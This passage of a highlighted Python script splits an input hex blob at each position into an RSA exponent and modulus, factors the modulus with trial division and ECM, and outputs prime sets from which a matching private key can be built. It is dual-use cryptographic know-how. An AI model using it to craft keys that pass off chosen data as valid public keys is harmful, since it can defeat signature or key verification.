<code><span class="pgcssk">def</span> <span class="pgcssnf">try_factor</span><span class="pgcssp">(</span><span class="pgcssn">n</span><span class="pgcssp">,</span> <span class="pgcssn">iters</span><span class="pgcsso">=</span><span class="pgcssmi">30</span><span class="pgcssp">,</span> <span class="pgcssn">B1</span><span class="pgcsso">=</span><span class="pgcssmi">1000</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">41</td><td>
<code> <span class="pgcssn">L</span> <span class="pgcsso">=</span> <span class="pgcssp">[]</span></code>
</td></tr><tr><td class="linenos">42</td><td>
<code> <span class="pgcssn">q</span> <span class="pgcsso">=</span> <span class="pgcssn">n</span></code>
</td></tr><tr><td class="linenos">43</td><td>
</td></tr><tr><td class="linenos">44</td><td>
<code> <span class="pgcssc1"># find small factors using trial division - ecm doesn&#39;t always find them</span></code>
</td></tr><tr><td class="linenos">45</td><td>
<code> <span class="pgcssk">for</span> <span class="pgcssn">p</span> <span class="pgcssow">in</span> <span class="pgcssn">small_primes</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">46</td><td>
<code> <span class="pgcssk">while</span> <span class="pgcssn">q</span> <span class="pgcsso">%</span> <span class="pgcssn">p</span> <span class="pgcsso">==</span> <span class="pgcssmi">0</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">47</td><td>
<code> <span class="pgcssn">L</span> <span class="pgcsso">+=</span> <span class="pgcssp">[</span><span class="pgcssn">p</span><span class="pgcssp">]</span></code>
</td></tr><tr><td class="linenos">48</td><td>
<code> <span class="pgcssn">q</span> <span class="pgcsso">/=</span> <span class="pgcssn">p</span></code>
</td></tr><tr><td class="linenos">49</td><td>
</td></tr><tr><td class="linenos">50</td><td>
<code> <span class="pgcssc1"># find larger factors using ecm</span></code>
</td></tr><tr><td class="linenos">51</td><td>
<code> <span class="pgcssk">for</span> <span class="pgcssn">_</span> <span class="pgcssow">in</span> <span class="pgcssnb">range</span><span class="pgcssp">(</span><span class="pgcssn">iters</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">52</td><td>
<code> <span class="pgcssk">try</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">53</td><td>
<code> <span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">q</span> <span class="pgcsso">=</span> <span class="pgcssn">ecm</span><span class="pgcsso">.</span><span class="pgcssn">one_curve</span><span class="pgcssp">(</span><span class="pgcssn">q</span><span class="pgcssp">,</span> <span class="pgcssn">B1</span><span class="pgcsso">=</span><span class="pgcssn">B1</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">54</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">p</span> <span class="pgcsso">!=</span> <span class="pgcssmi">1</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">55</td><td>
<code> <span class="pgcssn">L</span> <span class="pgcsso">+=</span> <span class="pgcssn">ecm</span><span class="pgcsso">.</span><span class="pgcssn">factor</span><span class="pgcssp">(</span><span class="pgcssn">p</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">56</td><td>
</td></tr><tr><td class="linenos">57</td><td>
<code> <span class="pgcssc1"># are we done yet?</span></code>
</td></tr><tr><td class="linenos">58</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">is_pseudoprime</span><span class="pgcssp">(</span><span class="pgcssn">q</span><span class="pgcssp">)</span> <span class="pgcssow">and</span> <span class="pgcssn">q</span><span class="pgcsso">*</span><span class="pgcssn">prod</span><span class="pgcssp">(</span><span class="pgcssn">L</span><span class="pgcssp">)</span> <span class="pgcsso">==</span> <span class="pgcssn">n</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">59</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssp">(</span><span class="pgcsskc">True</span><span class="pgcssp">,</span> <span class="pgcssn">L</span> <span class="pgcsso">+</span> <span class="pgcssp">[</span><span class="pgcssn">q</span><span class="pgcssp">])</span></code>
</td></tr><tr><td class="linenos">60</td><td>
</td></tr><tr><td class="linenos">61</td><td>
<code> <span class="pgcssc1"># retry with different B1</span></code>
</td></tr><tr><td class="linenos">62</td><td>
<code> <span class="pgcssn">B1</span> <span class="pgcsso">+=</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">sqrt</span><span class="pgcssp">(</span><span class="pgcssn">B1</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">63</td><td>
<code> <span class="pgcssk">except</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">64</td><td>
<code> <span class="pgcssk">pass</span></code>
</td></tr><tr><td class="linenos">65</td><td>
</td></tr><tr><td class="linenos">66</td><td>
<code> <span class="pgcssc1"># failed to factor</span></code>
</td></tr><tr><td class="linenos">67</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssp">(</span><span class="pgcsskc">False</span><span class="pgcssp">,</span> <span class="pgcssn">L</span> <span class="pgcsso">+</span> <span class="pgcssp">[</span><span class="pgcssn">n</span><span class="pgcsso">/</span><span class="pgcssn">prod</span><span class="pgcssp">(</span><span class="pgcssn">L</span><span class="pgcssp">)])</span></code>
</td></tr><tr><td class="linenos">68</td><td>
</td></tr><tr><td class="linenos">69</td><td>
<code><span class="pgcssk">if</span> <span class="pgcssvm">__name__</span> <span class="pgcsso">==</span> <span class="pgcsss1">&#39;__main__&#39;</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">70</td><td>
<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;I:Starting up...&#39;</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">71</td><td>
<code> <span class="pgcssn">raw</span> <span class="pgcsso">=</span> <span class="pgcssn">unhexlify</span><span class="pgcssp">(</span><span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">])</span></code>
</td></tr><tr><td class="linenos">72</td><td>
</td></tr><tr><td class="linenos">73</td><td>
<code> <span class="pgcssn">raw_n_bytes</span> <span class="pgcsso">=</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">raw</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">74</td><td>
</td></tr><tr><td class="linenos">75</td><td>
<code> <span class="pgcssn">found</span> <span class="pgcsso">=</span> <span class="pgcssp">{}</span></code>
</td></tr><tr><td class="linenos">76</td><td>
<code> <span class="pgcssn">incomplete</span> <span class="pgcsso">=</span> <span class="pgcssp">{}</span></code>
</td></tr><tr><td class="linenos">77</td><td>
<code> <span class="pgcssn">iters</span> <span class="pgcsso">=</span> <span class="pgcssmi">30</span></code>
</td></tr><tr><td class="linenos">78</td><td>
<code> <span class="pgcssk">for</span> <span class="pgcssn">attempt</span> <span class="pgcssow">in</span> <span class="pgcssnb">range</span><span class="pgcssp">(</span><span class="pgcssmi">3</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">79</td><td>
<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;I:Attempt </span><span class="pgcsssi">{a}</span><span class="pgcsss1">, iters=</span><span class="pgcsssi">{i}</span><span class="pgcsss1">&#39;</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span><span class="pgcssn">a</span><span class="pgcsso">=</span><span class="pgcssp">(</span><span class="pgcssn">attempt</span><span class="pgcsso">+</span><span class="pgcssmi">1</span><span class="pgcssp">),</span> <span class="pgcssn">i</span><span class="pgcsso">=</span><span class="pgcssn">iters</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">80</td><td>
<code> <span class="pgcssk">for</span> <span class="pgcssn">pos</span> <span class="pgcssow">in</span> <span class="pgcssnb">range</span><span class="pgcssp">(</span><span class="pgcssn">raw_n_bytes</span> <span class="pgcsso">-</span> <span class="pgcssmi">128</span><span class="pgcssp">,</span> <span class="pgcssmi">1</span><span class="pgcssp">,</span> <span class="pgcsso">-</span><span class="pgcssmi">1</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">81</td><td>
<code> <span class="pgcssc1"># go on if we already founds factors from this split point</span></code>
</td></tr><tr><td class="linenos">82</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">pos</span> <span class="pgcssow">in</span> <span class="pgcssn">found</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">83</td><td>
<code> <span class="pgcssk">continue</span></code>
</td></tr><tr><td class="linenos">84</td><td>
</td></tr><tr><td class="linenos">85</td><td>
<code> <span class="pgcssn">e_len</span> <span class="pgcsso">=</span> <span class="pgcssn">pos</span></code>
</td></tr><tr><td class="linenos">86</td><td>
<code> <span class="pgcssn">n_len</span> <span class="pgcsso">=</span> <span class="pgcssn">raw_n_bytes</span> <span class="pgcsso">-</span> <span class="pgcssn">pos</span></code>
</td></tr><tr><td class="linenos">87</td><td>
<code> <span class="pgcssn">e_bytes</span> <span class="pgcsso">=</span> <span class="pgcssn">raw</span><span class="pgcssp">[:</span><span class="pgcssn">pos</span><span class="pgcssp">]</span></code>
</td></tr><tr><td class="linenos">88</td><td>
<code> <span class="pgcssn">n_bytes</span> <span class="pgcsso">=</span> <span class="pgcssn">raw</span><span class="pgcssp">[</span><span class="pgcssn">pos</span><span class="pgcssp">:]</span></code>
</td></tr><tr><td class="linenos">89</td><td>
<code> <span class="pgcssn">e</span> <span class="pgcsso">=</span> <span class="pgcssn">from_bytes</span><span class="pgcssp">(</span><span class="pgcssn">e_bytes</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">90</td><td>
<code> <span class="pgcssn">n</span> <span class="pgcsso">=</span> <span class="pgcssn">from_bytes</span><span class="pgcssp">(</span><span class="pgcssn">n_bytes</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">91</td><td>
</td></tr><tr><td class="linenos">92</td><td>
<code> <span class="pgcssc1"># skip if e is unusable or is a &#39;standard&#39; value</span></code>
</td></tr><tr><td class="linenos">93</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">e</span> <span class="pgcsso">&lt;</span> <span class="pgcssmi">3</span> <span class="pgcssow">or</span> <span class="pgcssn">e</span> <span class="pgcsso">%</span> <span class="pgcssmi">2</span> <span class="pgcsso">==</span> <span class="pgcssmi">0</span> <span class="pgcssow">or</span> <span class="pgcssn">e</span> <span class="pgcssow">in</span> <span class="pgcssp">[</span><span class="pgcssmi">65537</span><span class="pgcssp">,</span> <span class="pgcssmi">257</span><span class="pgcssp">,</span> <span class="pgcssmi">17</span><span class="pgcssp">,</span> <span class="pgcssmi">3</span><span class="pgcssp">]:</span></code>
</td></tr><tr><td class="linenos">94</td><td>
<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;D:Cannot use e at [</span><span class="pgcsssi">{}</span><span class="pgcsss1">] - even or too small&#39;</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span><span class="pgcssn">pos</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">95</td><td>
<code> <span class="pgcssn">found</span><span class="pgcssp">[</span><span class="pgcssn">pos</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcsskc">None</span></code>
</td></tr><tr><td class="linenos">96</td><td>
<code> <span class="pgcssk">continue</span></code>
</td></tr><tr><td class="linenos">97</td><td>
</td></tr><tr><td class="linenos">98</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">n_bytes</span><span class="pgcssp">[</span><span class="pgcssmi">0</span><span class="pgcssp">]</span> <span class="pgcsso">==</span> <span class="pgcssmi">0</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">99</td><td>
<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;D:Cannot use n at [</span><span class="pgcsssi">{}</span><span class="pgcsss1">] - leading zero byte&#39;</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span><span class="pgcssn">pos</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">100</td><td>
<code> <span class="pgcssn">found</span><span class="pgcssp">[</span><span class="pgcssn">pos</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcsskc">None</span></code>
</td></tr><tr><td class="linenos">101</td><td>
<code> <span class="pgcssk">continue</span></code>
</td></tr><tr><td class="linenos">102</td><td>
</td></tr><tr><td class="linenos">103</td><td>
<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;I:Looking for factors at [</span><span class="pgcsssi">{}</span><span class="pgcsss1">]&#39;</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span><span class="pgcssn">pos</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">104</td><td>
<code> <span class="pgcssn">success</span><span class="pgcssp">,</span> <span class="pgcssn">primes</span> <span class="pgcsso">=</span> <span class="pgcssn">try_factor</span><span class="pgcssp">(</span><span class="pgcssn">n</span><span class="pgcssp">,</span> <span class="pgcssn">iters</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">105</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">success</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">106</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">)</span> <span class="pgcsso">&lt;</span> <span class="pgcssmi">2</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">107</td><td>
<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;N:Unable to construct key with prime modulus&#39;</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">108</td><td>
<code> <span class="pgcssn">found</span><span class="pgcssp">[</span><span class="pgcssn">pos</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcsskc">None</span></code>
</td></tr><tr><td class="linenos">109</td><td>
<code> <span class="pgcssk">continue</span></code>
</td></tr><tr><td class="linenos">110</td><td>
</td></tr><tr><td class="linenos">111</td><td>
<code> <span class="pgcssn">min_prime</span> <span class="pgcsso">=</span> <span class="pgcssnb">min</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">112</td><td>
<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;N:Found </span><span class="pgcsssi">{c}</span><span class="pgcsss1"> factors for n at [</span><span class="pgcsssi">{p}</span><span class="pgcsss1">] - smallest is </span><span class="pgcsssi">{m}</span><span class="pgcsss1">&#39;</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span><span class="pgcssn">c</span><span class="pgcsso">=</span><span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">),</span> <span class="pgcssn">p</span><span class="pgcsso">=</span><span class="pgcssn">pos</span><span class="pgcssp">,</span> <span class="pgcssn">m</span><span class="pgcsso">=</span><span class="pgcssn">min_prime</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">113</td><td>
</td></tr><tr><td class="linenos">114</td><td>
<code> <span class="pgcssn">seen_primes</span> <span class="pgcsso">=</span> <span class="pgcssnb">set</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">115</td><td>
<code> <span class="pgcssk">for</span> <span class="pgcssn">p</span> <span class="pgcssow">in</span> <span class="pgcssn">primes</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">116</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">p</span> <span class="pgcssow">in</span> <span class="pgcssn">seen_primes</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">117</td><td>
<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;N:Duplicate factor </span><span class="pgcsssi">{}</span><span class="pgcsss1"> - cannot build key&#39;</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span><span class="pgcssn">p</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">118</td><td>
<code> <span class="pgcssn">found</span><span class="pgcssp">[</span><span class="pgcssn">pos</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcsskc">None</span></code>
</td></tr><tr><td class="linenos">119</td><td>
<code> <span class="pgcssn">seen_primes</span> <span class="pgcsso">=</span> <span class="pgcsskc">None</span></code>
</td></tr><tr><td class="linenos">120</td><td>
<code> <span class="pgcssk">break</span></code>
</td></tr><tr><td class="linenos">121</td><td>
<code> <span class="pgcssk">else</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">122</td><td>
<code> <span class="pgcssn">seen_primes</span><span class="pgcsso">.</span><span class="pgcssn">add</span><span class="pgcssp">(</span><span class="pgcssn">p</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">123</td><td>
</td></tr><tr><td class="linenos">124</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">seen_primes</span> <span class="pgcssow">is</span> <span class="pgcsskc">None</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">125</td><td>
<code> <span class="pgcssk">continue</span></code>
</td></tr><tr><td class="linenos">126</td><td>
</td></tr><tr><td class="linenos">127</td><td>
<code> <span class="pgcssn">phi</span> <span class="pgcsso">=</span> <span class="pgcssn">prod</span><span class="pgcssp">([</span><span class="pgcssn">p</span> <span class="pgcsso">-</span> <span class="pgcssmi">1</span> <span class="pgcssk">for</span> <span class="pgcssn">p</span> <span class="pgcssow">in</span> <span class="pgcssn">primes</span><span class="pgcssp">])</span></code>
</td></tr><tr><td class="linenos">128</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">gcd</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">phi</span><span class="pgcssp">)</span> <span class="pgcsso">!=</span> <span class="pgcssmi">1</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">129</td><td>
<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;N:Cannot use (e, n) at [</span><span class="pgcsssi">{p}</span><span class="pgcsss1">] - e not coprime to phi(n) - gcd(e, phi(n)) = </span><span class="pgcsssi">{g}</span><span class="pgcsss1">&#39;</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span><span class="pgcssn">p</span><span class="pgcsso">=</span><span class="pgcssn">pos</span><span class="pgcssp">,</span> <span class="pgcssn">g</span><span class="pgcsso">=</span><span class="pgcssn">gcd</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">phi</span><span class="pgcssp">)))</span></code>
</td></tr><tr><td class="linenos">130</td><td>
<code> <span class="pgcssn">found</span><span class="pgcssp">[</span><span class="pgcssn">pos</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcsskc">None</span></code>
</td></tr><tr><td class="linenos">131</td><td>
<code> <span class="pgcssk">continue</span></code>
</td></tr><tr><td class="linenos">132</td><td>
</td></tr><tr><td class="linenos">133</td><td>
<code> <span class="pgcssn">result</span> <span class="pgcsso">=</span> <span class="pgcssp">{</span><span class="pgcsss1">&#39;e&#39;</span><span class="pgcssp">:</span> <span class="pgcssnb">str</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">),</span> <span class="pgcsss1">&#39;primes&#39;</span><span class="pgcssp">:</span> <span class="pgcssnb">list</span><span class="pgcssp">(</span><span class="pgcssnb">map</span><span class="pgcssp">(</span><span class="pgcssnb">str</span><span class="pgcssp">,</span> <span class="pgcssn">primes</span><span class="pgcssp">))}</span></code>
</td></tr><tr><td class="linenos">134</td><td>
<code> <span class="pgcssn">found</span><span class="pgcssp">[</span><span class="pgcssn">pos</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">result</span></code>
</td></tr><tr><td class="linenos">135</td><td>
<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;R:&#39;</span><span class="pgcsso">+</span><span class="pgcssn">json</span><span class="pgcsso">.</span><span class="pgcssn">dumps</span><span class="pgcssp">(</span><span class="pgcssn">result</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">136</td><td>
<code> <span class="pgcssk">else</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">137</td><td>
<code> <span class="pgcssn">cofactor</span> <span class="pgcsso">=</span> <span class="pgcssn">primes</span><span class="pgcsso">.</span><span class="pgcssn">pop</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">138</td><td>
<code> <span class="pgcssn">partial_phi</span> <span class="pgcsso">=</span> <span class="pgcssn">prod</span><span class="pgcssp">([</span><span class="pgcssn">p</span> <span class="pgcsso">-</span> <span class="pgcssmi">1</span> <span class="pgcssk">for</span> <span class="pgcssn">p</span> <span class="pgcssow">in</span> <span class="pgcssn">primes</span><span class="pgcssp">])</span></code>
</td></tr><tr><td class="linenos">139</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">gcd</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">partial_phi</span><span class="pgcssp">)</span> <span class="pgcsso">!=</span> <span class="pgcssmi">1</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">140</td><td>
<code> <span class="pgcssc1"># we won&#39;t retry here since we know it won&#39;t be coprime</span></code>
</td></tr><tr><td class="linenos">141</td><td>
<code> <span class="pgcssn">found</span><span class="pgcssp">[</span><span class="pgcssn">pos</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcsskc">None</span></code>
</td></tr><tr><td class="linenos">142</td><td>
<code> <span class="pgcssk">continue</span></code>
</td></tr><tr><td class="linenos">143</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">pos</span> <span class="pgcssow">not</span> <span class="pgcssow">in</span> <span class="pgcssn">incomplete</span> <span class="pgcssow">or</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">incomplete</span><span class="pgcssp">[</span><span class="pgcssn">pos</span><span class="pgcssp">][</span><span class="pgcsss1">&#39;cofactor&#39;</span><span class="pgcssp">])</span> <span class="pgcsso">&gt;</span> <span class="pgcssn">cofactor</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">144</td><td>
<code> <span class="pgcssn">incomplete</span><span class="pgcssp">[</span><span class="pgcssn">pos</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssp">{</span></code>
</td></tr><tr><td class="linenos">145</td><td>
<code> <span class="pgcsss1">&#39;e&#39;</span><span class="pgcssp">:</span> <span class="pgcssnb">str</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">),</span></code>
</td></tr><tr><td class="linenos">146</td><td>
<code> <span class="pgcsss1">&#39;cofactor&#39;</span><span class="pgcssp">:</span> <span class="pgcssnb">str</span><span class="pgcssp">(</span><span class="pgcssn">cofactor</span><span class="pgcssp">),</span></code>
</td></tr><tr><td class="linenos">147</td><td>
<code> <span class="pgcsss1">&#39;primes&#39;</span><span class="pgcssp">:</span> <span class="pgcssnb">list</span><span class="pgcssp">(</span><span class="pgcssnb">map</span><span class="pgcssp">(</span><span class="pgcssnb">str</span><span class="pgcssp">,</span> <span class="pgcssn">primes</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">148</td><td>
<code> <span class="pgcssp">}</span></code>
</td></tr><tr><td class="linenos">149</td><td>
</td></tr><tr><td class="linenos">150</td><td>
<code> <span class="pgcssn">done</span> <span class="pgcsso">=</span> <span class="pgcsskc">False</span></code>
</td></tr><tr><td class="linenos">151</td><td>
<code> <span class="pgcssc1"># try to find at least one prime that is more than one digit</span></code>
</td></tr><tr><td class="linenos">152</td><td>
<code> <span class="pgcssk">for</span> <span class="pgcssn">v</span> <span class="pgcssow">in</span> <span class="pgcssn">found</span><span class="pgcsso">.</span><span class="pgcssn">values</span><span class="pgcssp">():</span></code>
</td></tr><tr><td class="linenos">153</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">v</span> <span class="pgcssow">is</span> <span class="pgcssow">not</span> <span class="pgcsskc">None</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">154</td><td>
<code> <span class="pgcssn">primes</span> <span class="pgcsso">=</span> <span class="pgcssnb">list</span><span class="pgcssp">(</span><span class="pgcssnb">map</span><span class="pgcssp">(</span><span class="pgcssnb">int</span><span class="pgcssp">,</span> <span class="pgcssn">v</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;primes&#39;</span><span class="pgcssp">]))</span></code>
</td></tr><tr><td class="linenos">155</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssnb">min</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">)</span> <span class="pgcsso">&gt;</span> <span class="pgcssmi">10</span> <span class="pgcssow">and</span> <span class="pgcssn">prod</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">)</span> <span class="pgcsso">&gt;</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">v</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;e&#39;</span><span class="pgcssp">])</span> <span class="pgcssow">and</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">)</span> <span class="pgcsso">&lt;=</span> <span class="pgcssmi">5</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">156</td><td>
<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;N:Found key with min(primes) &gt; 10, e &lt; n and 5 or fewer primes&#39;</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">157</td><td>
<code> <span class="pgcssn">done</span> <span class="pgcsso">=</span> <span class="pgcsskc">True</span></code>
</td></tr><tr><td class="linenos">158</td><td>
<code> <span class="pgcssk">break</span></code>
</td></tr><tr><td class="linenos">159</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">done</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">160</td><td>
<code> <span class="pgcssk">break</span></code>
</td></tr><tr><td class="linenos">161</td><td>
</td></tr><tr><td class="linenos">162</td><td>
<code> <span class="pgcssn">iters</span> <span class="pgcsso">*=</span> <span class="pgcssmi">2</span></code>
</td></tr><tr><td class="linenos">163</td><td>
</td></tr><tr><td class="linenos">164</td><td>
<code> <span class="pgcssc1"># search loop done, print result as json</span></code>
</td></tr><tr><td class="linenos">165</td><td>
<code> <span class="pgcssn">sol</span> <span class="pgcsso">=</span> <span class="pgcssnb">list</span><span class="pgcssp">(</span><span class="pgcssnb">filter</span><span class="pgcssp">(</span><span class="pgcssk">lambda</span> <span class="pgcssn">x</span><span class="pgcssp">:</span> <span class="pgcssn">x</span> <span class="pgcssow">is</span> <span class="pgcssow">not</span> <span class="pgcsskc">None</span><span class="pgcssp">,</span> <span class="pgcssn">found</span><span class="pgcsso">.</span><span class="pgcssn">values</span><span class="pgcssp">()))</span></code>
</td></tr><tr><td class="linenos">166</td><td>
<code> <span class="pgcssn">sol</span><span class="pgcsso">.</span><span class="pgcssn">sort</span><span class="pgcssp">(</span><span class="pgcssn">key</span><span class="pgcsso">=</span><span class="pgcssk">lambda</span> <span class="pgcssn">x</span><span class="pgcssp">:</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">x</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;e&#39;</span><span class="pgcssp">]))</span></code>
</td></tr><tr><td class="linenos">167</td><td>
<code> <span class="pgcssn">inc</span> <span class="pgcsso">=</span> <span class="pgcssnb">list</span><span class="pgcssp">(</span><span class="pgcssnb">filter</span><span class="pgcssp">(</span><span class="pgcssk">lambda</span> <span class="pgcssn">x</span><span class="pgcssp">:</span> <span class="pgcssn">x</span> <span class="pgcssow">is</span> <span class="pgcssow">not</span> <span class="pgcsskc">None</span><span class="pgcssp">,</span> <span class="pgcssn">incomplete</span><span class="pgcsso">.</span><span class="pgcssn">values</span><span class="pgcssp">()))</span></code>
</td></tr><tr><td class="linenos">168</td><td>
<code> <span class="pgcssn">inc</span><span class="pgcsso">.</span><span class="pgcssn">sort</span><span class="pgcssp">(</span><span class="pgcssn">key</span><span class="pgcsso">=</span><span class="pgcssk">lambda</span> <span class="pgcssn">x</span><span class="pgcssp">:</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">x</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;cofactor&#39;</span><span class="pgcssp">]))</span></code>
</td></tr><tr><td class="linenos">169</td><td>
<code> <span class="pgcssn">result</span> <span class="pgcsso">=</span> <span class="pgcssp">{</span></code>
</td></tr><tr><td class="linenos">170</td><td>
<code> <span class="pgcsss2">&quot;input&quot;</span><span class="pgcssp">:</span> <span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">],</span></code>
</td></tr><tr><td class="linenos">171</td><td>
<code> <span class="pgcsss2">&quot;solutions&quot;</span><span class="pgcssp">:</span> <span class="pgcssn">sol</span><span class="pgcssp">,</span></code>
</td></tr><tr><td class="linenos">172</td><td>
<code> <span class="pgcsss2">&quot;incomplete&quot;</span><span class="pgcssp">:</span> <span class="pgcssn">inc</span></code>
</td></tr><tr><td class="linenos">173</td><td>
<code> <span class="pgcssp">}</span></code>
</td></tr><tr><td class="linenos">174</td><td>
</td></tr><tr><td class="linenos">175</td><td>
